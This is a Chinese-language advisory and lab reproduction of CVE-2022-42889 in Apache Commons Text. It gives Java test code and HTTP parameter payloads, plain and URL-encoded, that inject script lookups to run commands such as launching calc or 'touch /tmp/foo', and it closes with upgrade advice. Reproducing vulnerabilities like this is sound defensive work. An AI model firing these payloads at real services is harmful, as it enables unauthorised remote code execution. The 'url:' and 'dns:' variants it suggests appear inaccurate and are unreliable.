# Apache Commons Text 远程代码执行漏洞 CVE-2022-42889 ## 漏洞描述 Apache Commons Text 项目实现了一系列关于文本字符串的算法,专注于处理字符串和文本块。10 月 13 日,Apache 发布安全公告,修复了 Apache Commons Text 中的一个远程代码执行漏洞(CVE-2022-42889)。Apache Commons Text 版本 1.5 到 1.9 中,由于不安全的插值默认值,当输入的参数不受信任时,可能导致远程代码执行。 ## 漏洞影响 ``` 1.5.0 ≤ Apache Commons Text < 1.10.0 ``` ## 环境搭建 IDEA 通过 Maven 导入依赖,pox.xml 如下: ``` org.apache.commons commons-configuration2 2.7 org.apache.commons commons-text 1.9 org.apache.commons commons-lang3 3.12.0 ``` 测试代码: ``` package org.text; import org.apache.commons.text.StringSubstitutor; public class Main { public static void main(String[] args) { StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); // String payload = interpolator.replace("${script:js:new // java.lang.ProcessBuilder(\"calc\").start()}"); String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}"; interpolator.replace(payload); } } ``` ## 漏洞复现 Payload: ``` search=${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')} url编码 search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D 可以尝试 search=${url:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')} search=${dns:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')} ``` ## 修复建议 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。